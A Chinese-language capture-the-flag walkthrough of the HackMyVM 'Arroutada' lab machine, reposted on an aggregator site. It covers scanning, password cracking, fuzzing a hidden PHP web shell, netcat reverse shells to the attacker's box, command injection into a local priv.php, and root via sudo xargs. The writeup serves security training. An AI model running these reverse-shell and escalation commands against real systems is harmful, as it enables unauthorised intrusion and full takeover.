HakcMyVM-Arroutada

信息搜集

主機發現

┌──(kali?kali)-[~]
└─$ nmap -sn 192.168.21.0/24
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-01 07:13 EDT
Nmap scan report for 192.168.21.11
Host is up (0.00062s latency).
MAC Address: 08:00:27:4E:CC:FB (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.21.10
Host is up.
Nmap done: 256 IP addresses (6 hosts up) scanned in 2.57 seconds

端口掃描

┌──(kali?kali)-[~]
└─$ nmap --min-rate 10000 -p- 192.168.21.11
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-01 07:15 EDT
Nmap scan report for 192.168.21.11
Host is up (0.000078s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE
80/tcp open  http
MAC Address: 08:00:27:4E:CC:FB (PCS Systemtechnik/Oracle VirtualBox virtual NIC)Nmap done: 1 IP address (1 host up) scanned in 1.77 seconds┌──(kali?kali)-[~]
└─$ nmap -sU --min-rate 10000 -p- 192.168.21.11
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-01 07:15 EDT
Warning: 192.168.21.11 giving up on port because retransmission cap hit (10).
Nmap scan report for 192.168.21.11
Host is up (0.00074s latency).
All 65535 scanned ports on 192.168.21.11 are in ignored states.
Not shown: 65457 open|filtered udp ports (no-response), 78 closed udp ports (port-unreach)
MAC Address: 08:00:27:4E:CC:FB (PCS Systemtechnik/Oracle VirtualBox virtual NIC)Nmap done: 1 IP address (1 host up) scanned in 72.73 seconds┌──(kali?kali)-[~]
└─$ nmap -sT -sV -O -p80 192.168.21.11         
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-01 07:16 EDT
Nmap scan report for 192.168.21.11
Host is up (0.00026s latency).PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.54 ((Debian))
MAC Address: 08:00:27:4E:CC:FB (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hopOS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.64 seconds

漏洞發現

80端口只有一個圖片

┌──(kali?kali)-[~]
└─$ curl http://192.168.21.11 
<div align="center"><img src="imgs/apreton.png"></div>

目錄掃描

┌──(kali?kali)-[~]
└─$ gobuster dir -u http://192.168.21.11 -w SecLists/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt -x html,txt,php,jpg,png,zip,git
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.21.11
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                SecLists/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              git,html,txt,php,jpg,png,zip
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 278]
/index.html           (Status: 200) [Size: 59]
/.php                 (Status: 403) [Size: 278]
/imgs                 (Status: 301) [Size: 313] [--> http://192.168.21.11/imgs/]                                                
/scout                (Status: 301) [Size: 314] [--> http://192.168.21.11/scout/]                                               
/.php                 (Status: 403) [Size: 278]
/.html                (Status: 403) [Size: 278]
/server-status        (Status: 403) [Size: 278]
/logitech-quickcam_w0qqcatrefzc5qqfbdz1qqfclz3qqfposz95112qqfromzr14qqfrppz50qqfsclz1qqfsooz1qqfsopz1qqfssz0qqfstypez1qqftrtz1qqftrvz1qqftsz2qqnojsprzyqqpfidz0qqsaatcz1qqsacatzq2d1qqsacqyopzgeqqsacurz0qqsadisz200qqsaslopz1qqsofocuszbsqqsorefinesearchz1.html (Status: 403) [Size: 278]
Progress: 9482032 / 9482040 (100.00%)
===============================================================
Finished
===============================================================

/scout

┌──(kali?kali)-[~]
└─$ curl http://192.168.21.11/scout/<div>
<p>
Hi, Telly,
<br>
<br>
I just remembered that we had a folder with some important shared documents. The problem is that I don't know wich first path it was in, but I do know the second path. Graphically represented:
<br>
/scout/******/docs/
<br>
<br>
With continued gratitude,
<br>
J1.
</p>
</div>
<!-- Stop please -->
<!-- I told you to stop checking on me! -->
<!-- OK... I'm just J1, the boss. -->

根據提示模糊測試

┌──(kali?kali)-[~]
└─$ ffuf -u "http://192.168.21.11/scout/FUZZ/docs/" -w SecLists/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt -fc 403 -c -fs 0 -s
# directory-list-lowercase-2.3-big.txt
# Copyright 2007 James Fisher
#
#
# Attribution-Share Alike 3.0 License. To view a copy of this
# This work is licensed under the Creative Commons
# license, visit http://creativecommons.org/licenses/by-sa/3.0/
# Suite 300, San Francisco, California, 94105, USA.
# or send a letter to Creative Commons, 171 Second Street,
#
# on at least 1 host
# Priority-ordered case-insensitive list, where entries were found
#
j2

/scout/j2/docs/

在這里插入圖片描述

pass.txt

在這里插入圖片描述

z206

在這里插入圖片描述

把shellfile.ods下載下來,查看一下有什么,發現有密碼,用pass文件的密碼沒有成功,爆破一下

┌──(kali?kali)-[~]
└─$ libreoffice2john shellfile.ods > hash.txt┌──(kali?kali)-[~]
└─$ john -wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (ODF, OpenDocument Star/Libre/OpenOffice [PBKDF2-SHA1 128/128 AVX 4x BF/AES])
Cost 1 (iteration count) is 100000 for all loaded hashes
Cost 2 (crypto [0=Blowfish 1=AES]) is 1 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
john11           (shellfile.ods)     
1g 0:00:00:48 DONE (2025-07-01 08:04) 0.02058g/s 340.4p/s 340.4c/s 340.4C/s lachina..emmanuel1
Use the "--show --format=ODF" options to display all of the cracked passwords reliably
Session completed.

shellfile.ods

在這里插入圖片描述

http://192.168.21.11/thejabasshell.php

┌──(kali?kali)-[~]
└─$ curl -v http://192.168.21.11/thejabasshell.php
*   Trying 192.168.21.11:80...
* Connected to 192.168.21.11 (192.168.21.11) port 80
* using HTTP/1.x
> GET /thejabasshell.php HTTP/1.1
> Host: 192.168.21.11
> User-Agent: curl/8.13.0
> Accept: */*
> 
* Request completely sent off
< HTTP/1.1 200 OK
< Date: Tue, 01 Jul 2025 12:07:09 GMT
< Server: Apache/2.4.54 (Debian)
< Content-Length: 0
< Content-Type: text/html; charset=UTF-8
< 
* Connection #0 to host 192.168.21.11 left intact

模糊測試

┌──(kali?kali)-[~]
└─$ ffuf -u "http://192.168.21.11/thejabasshell.php?FUZZ=id" -w /usr/share/wordlists/rockyou.txt -fc 403 -c -fs 0 -s
a

/thejabasshell.php?a=id

在這里插入圖片描述

還需要一個參數b

┌──(kali?kali)-[~]
└─$ ffuf -u "http://192.168.21.11/thejabasshell.php?a=id&b=FUZZ" -w /usr/share/wordlists/rockyou.txt -fc 403 -c -fs 0,33 -s
pass

/thejabasshell.php?a=id&b=pass

在這里插入圖片描述

/thejabasshell.php?a=nc -e /bin/sh 192.168.21.10 4444;&b=pass反彈一個shell

┌──(kali?kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.21.10] from (UNKNOWN) [192.168.21.11] 37490
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

權限提升

看一下有什么

www-data@arroutada:/var$ cat /etc/passwd | grep /bin/bash
cat /etc/passwd | grep /bin/bash
root:x:0:0:root:/root:/bin/bash
drito:x:1001:1001::/home/drito:/bin/bash
www-data@arroutada:/var$ ss -tnlup
ss -tnlup
Netid State  Recv-Q Send-Q Local Address:Port Peer Address:PortProcess
udp   UNCONN 0      0            0.0.0.0:68        0.0.0.0:*          
tcp   LISTEN 0      4096       127.0.0.1:8000      0.0.0.0:*          
tcp   LISTEN 0      511                *:80              *:*
www-data@arroutada:/tmp$ wget http://127.0.0.1:8000
wget http://127.0.0.1:8000
--2025-07-01 08:29:10--  http://127.0.0.1:8000/
Connecting to 127.0.0.1:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 319 [text/html]
Saving to: 'index.html'index.html            0%[                    ]       0  --.-KB/s index.html          100%[===================>]     319  --.-KB/s    in 0s      2025-07-01 08:29:10 (6.41 MB/s) - 'index.html' saved [319/319]
www-data@arroutada:/tmp$ ls -la
ls -la
total 12
drwxrwxrwt  2 root     root     4096 Jul  1 08:29 .
drwxr-xr-x 18 root     root     4096 Jan  8  2023 ..
-rw-r--r--  1 www-data www-data  319 Jul  1 08:29 index.html
www-data@arroutada:/tmp$ cat index.html
cat index.html
<h1>Service under maintenance</h1><br><h6>This site is from ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>---.+++++++++++..<<++.>++.>-----------.++.++++++++.<+++++.>++++++++++++++.<+++++++++.---------.<.>>-----------------.-------.++.++++++++.------.+++++++++++++.+.<<+..</h6><!-- Please sanitize /priv.php -->

解碼得到:all HackMyVM hackers!!,根據提示再看一下/priv.php

www-data@arroutada:/tmp$ wget http://127.0.0.1:8000/priv.php
wget http://127.0.0.1:8000/priv.php
--2025-07-01 08:43:00--  http://127.0.0.1:8000/priv.php
Connecting to 127.0.0.1:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: 'priv.php'priv.php                [<=>                 ]       0  --.-KB/s priv.php                [ <=>                ]     308  --.-KB/s    in 0s      2025-07-01 08:43:00 (84.0 MB/s) - 'priv.php' saved [308]www-data@arroutada:/tmp$ ls -la
ls -la
total 20
-rw-r--r--  1 www-data www-data  246 Jul  1 08:36 -drito
drwxrwxrwt  2 root     root     4096 Jul  1 08:43 .
drwxr-xr-x 18 root     root     4096 Jan  8  2023 ..
-rw-r--r--  1 www-data www-data  319 Jul  1 08:42 index.html
-rw-r--r--  1 www-data www-data  308 Jul  1 08:43 priv.php
www-data@arroutada:/tmp$ cat priv.php
cat priv.php
Error: the "command" parameter is not specified in the request body./*$json = file_get_contents('php://input');
$data = json_decode($json, true);if (isset($data['command'])) {system($data['command']);
} else {echo 'Error: the "command" parameter is not specified in the request body.';
}*/

加上參數再看一下

www-data@arroutada:/tmp$ wget --post-data='{"command":"id"}' http://127.0.0.1:8000/priv.php -q -O -
<mand":"id"}' http://127.0.0.1:8000/priv.php -q -O -
uid=1001(drito) gid=1001(drito) groups=1001(drito)/*$json = file_get_contents('php://input');
$data = json_decode($json, true);if (isset($data['command'])) {system($data['command']);
} else {echo 'Error: the "command" parameter is not specified in the request body.';
}*/

反彈個shell

www-data@arroutada:/tmp$ wget --post-data='{"command":"nc 192.168.21.10 8888 -e /bin/bash"}' http://127.0.0.1:8000/priv.php -q -O -
</bin/bash"}' http://127.0.0.1:8000/priv.php -q -O -
┌──(kali?kali)-[~]
└─$ nc -lvnp 8888
listening on [any] 8888 ...
connect to [192.168.21.10] from (UNKNOWN) [192.168.21.11] 40302
id
uid=1001(drito) gid=1001(drito) groups=1001(drito)

看一下都有什么

drito@arroutada:~$ sudo -l
sudo -l
Matching Defaults entries for drito on arroutada:env_reset, mail_badpass,secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/binUser drito may run the following commands on arroutada:(ALL : ALL) NOPASSWD: /usr/bin/xargs

在這里插入圖片描述

drito@arroutada:~$ sudo /usr/bin/xargs -a /dev/null sh
sudo /usr/bin/xargs -a /dev/null sh
# id
id
uid=0(root) gid=0(root) groups=0(root)

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/87273.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/87273.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/87273.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

TEXT Submitting Solutions

前言 USACO 訓練項目配備了一個自動評分系統&#xff0c;用于批改你的作業題目。你可以直接在題目頁面提交你的程序&#xff1b;系統會對程序進行編譯和評分&#xff0c;幾秒鐘內就能將結果反饋給你。 支持的語言有 C、C&#xff08;含 C11 和 C14&#xff09;、PASCAL、Pyth…

Reactor 瞬態錯誤

在響應式編程中&#xff0c;retryWhen 操作符通過 RetrySignal 接口提供了對重試行為的精細控制&#xff0c;特別是在處理 瞬態錯誤&#xff08;transient errors&#xff09; 時。瞬態錯誤是指那些在一段時間內發生&#xff0c;但隨后會自行恢復的錯誤&#xff0c;例如網絡請求…

基于 SpringBoot+Vue.js+ElementUI 的小型超市商品管理系統設計與實現7000字論文設計

摘要 本論文設計并實現了一個基于 SpringBoot、Vue.js 和 ElementUI 的小型超市商品管理系統。該系統旨在為小型超市提供一個高效、便捷的商品管理解決方案&#xff0c;實現商品信息的錄入、查詢、修改、刪除等功能&#xff0c;同時支持庫存管理、銷售統計等業務需求。論文首先…

Kerberos 認證協議解析

文章目錄 概述核心概念認證流程階段一&#xff1a;Client -> AS&#xff0c;獲取 TGT階段二&#xff1a;Client -> TGS&#xff0c;獲取服務票據階段三&#xff1a;Client -> Server&#xff0c;請求服務 核心安全機制優缺點分析優勢局限性 實踐與排錯關鍵配置 (krb5.…

【設計模式07】適配器

前言 實現目標&#xff0c;組合源&#xff0c;寫個適配方法&#xff0c;適用于沒辦法改變源&#xff0c;但又想實現目標類。我暫時還沒使用到過&#xff0c;但感覺用處還是蠻大的 UML類圖 代碼示例 package com.sw.learn.pattern.C_structre.a_adapter;public class Main {//…

SPI、I2C和UART三種串行通信協議的--------簡單總結

目錄 一、3種協議的對比二、典型應用場景三、選型建議 以下是SPI、I2C和UART三種串行通信協議的對比分析及適用場景總結&#xff1a; 一、3種協議的對比 . 對比其他接口 特性ICSPIUART信號線數量2&#xff08;SCL SDA&#xff09;4&#xff08;SCK MOSI MISO SS/CS&…

VUE admin-element 后臺管理系統三級菜單實現緩存

VUE admin-element 后臺管理系統三級菜單實現緩存 框架無法直接實現三級菜單頁面緩存&#xff0c;原因是由于直接緩存時沒有把上級路由文件名稱緩存進去&#xff0c;所以在框架基礎上參考部分文章進行了一些改造 菜單文件&#xff0c;三級菜單引用文件路徑修改&#xff0c;在…

【筆記】Windows 安裝 Gemini CLI

2025 年 07 月 02 日 Windows 安裝 Gemini CLI google-gemini/gemini-cli&#xff1a;一個開源的 AI 代理&#xff0c;可將 Gemini 的強大功能直接引入您的終端。 一、前置條件 系統要求&#xff1a;Windows 7 及以上版本。 Node.js 環境&#xff1a;Gemini CLI 基于 Node.js …

transformers==4.42.0會有一個BUG

transformers4.42.0版本下&#xff0c;自動安裝模型時出現一個BUG&#xff08;自動從Hugging Faces上下載&#xff09;。 2025-07-02 14:07:08,641 - __main__ - ERROR - 模型加載失敗: Failed to import transformers.models.llama.tokenization_llama_fast because of the f…

Spring-解決IDEA中無法創建JDK17一下的SpringBoot項目

目錄 一.直接創建 二.修改Server URL為https://start.aliyun.com 一.直接創建 目前如果使用https://start.spring.io&#xff08;Spring官方源&#xff09;,已經沒有辦法直接創建JDK17一下的項目了&#xff1a; 如果想要創建JDK8的項目&#xff0c;可以先通…

人工智能-基礎篇-13-基礎應用篇-2~~模型項目開發流程--從0到1創建類似DeepSeek語言模型,應該怎么做?

1、前期準備 1、明確目標與需求分析 應用場景定義&#xff1a;首先需要明確你的模型將用于哪些場景&#xff0c;比如對話系統、文本生成、代碼輔助等。性能指標設定&#xff1a;確定關鍵性能指標(KPI)&#xff0c;如準確率、響應時間、支持的語言種類等。 2、組建團隊 機器…

本周滬鋁想法

核心邏輯&#xff1a;低庫存支撐與淡季需求疲軟博弈&#xff0c;宏觀情緒助推高位震蕩 一、成本下移 VS 價格韌性? 成本端與價格表現呈現出不同態勢。成本端方面&#xff0c;氧化鋁現貨價格在本周持續下跌&#xff0c;山東地區均價降至 3090 元 / 噸&#xff0c;環比下降 1.…

【網絡】SSL/TLS介紹

一、SSL/TLS 概述 SSL&#xff08;Secure Socket Layer&#xff09; &#xff1a; 最初由網景&#xff08;Netscape&#xff09;開發&#xff0c;用于在客戶端和服務器之間建立安全的加密連接&#xff0c;防止數據被竊取或篡改。后來逐步演進&#xff0c;最終被 TLS 取代。 TL…

TLF35584

13、SPI串行外設接口 13.1 介紹 主要功能 SPI 總線是?種以全雙工模式運行的同步串行數據鏈路。TLF35584 在從機模式下進行通信&#xff0c;其中主機(μC)啟動數據幀。TLF35584應該通過專用片選線進行尋址。這允許其他從設備連接到SPI總線。 數據傳輸 開始通信&#xff0c;μ…

word中如何保存高清圖片,并保存為高質量的pdf文件(圖像不失真)

word中如何保存高清圖片 打開word,選擇&#xff0c;選項&#xff0c;高級選項&#xff0c;選擇不壓縮文件中的圖像并保持分辨率高保真 將word保存為高質量的pdf文件 不用另存為或者導出 選擇文件&#xff0c;選擇打印&#xff1a; 選擇中間都打印出pdf即可。 然后再選擇打印…

Day03_C語言IO進程線程

01.思維導圖 02.創建一個進程扇 #include <25051head.h> int main(int argc, const char *argv[]) {pid_t pid;int i;for(i0;i<4;i){pidfork();if(pid0){//printf("子進程:pid[%d]\n",pid);printf("子進程%d:子進程pid[%d],父進程pid[%d]\n",i1,g…

獲取Qwen 2.5 內部網絡結構 講解

獲取Qwen 2.5 內部網絡結構 講解 Qwen2DecoderLayer( (self_attn): Qwen2Attention( (q_proj): Linear(in_features=2048, out_features=2048, bias=True) (k_proj): Linear(in_features=2048, out_features=256, bias=True) (v_proj): Linear(in_features=2048, out_features…

在深度學習中,batch、epoch 和 iteration 的關系

用一個實際例子和簡單代碼來清晰解釋 batch、epoch 和 iteration 的關系&#xff1a; ------------------------------------------------------------------------------------ 假設場景 你有一個數據集&#xff1a;1000 張貓狗圖片 你設置 batch_size 100&#xff08;每次…

RabbitMQ 高級特性之持久性

1. 簡介 在 RabbitMQ 的消息發送流程中&#xff0c;一共有三種消息丟失的情況&#xff1a; 生產者給 broker 發送的消息&#xff0c;broker 沒有收到broker 將消息丟失broker 給消費者發送消息時消息丟失 對于第一種情況&#xff0c;我們可以使用 RabbitMQ 提供的發布確認模…

應急響應靶機-近源OS-1-知攻善防實驗室

前景需要&#xff1a; 小王從某安全大廠被優化掉后&#xff0c;來到了某私立小學當起了計算機老師。某一天上課的時候&#xff0c;發現鼠標在自己動彈&#xff0c;又發現除了某臺電腦&#xff0c;其他電腦連不上網絡。感覺肯定有學生搗亂&#xff0c;于是開啟了應急。 1.攻擊…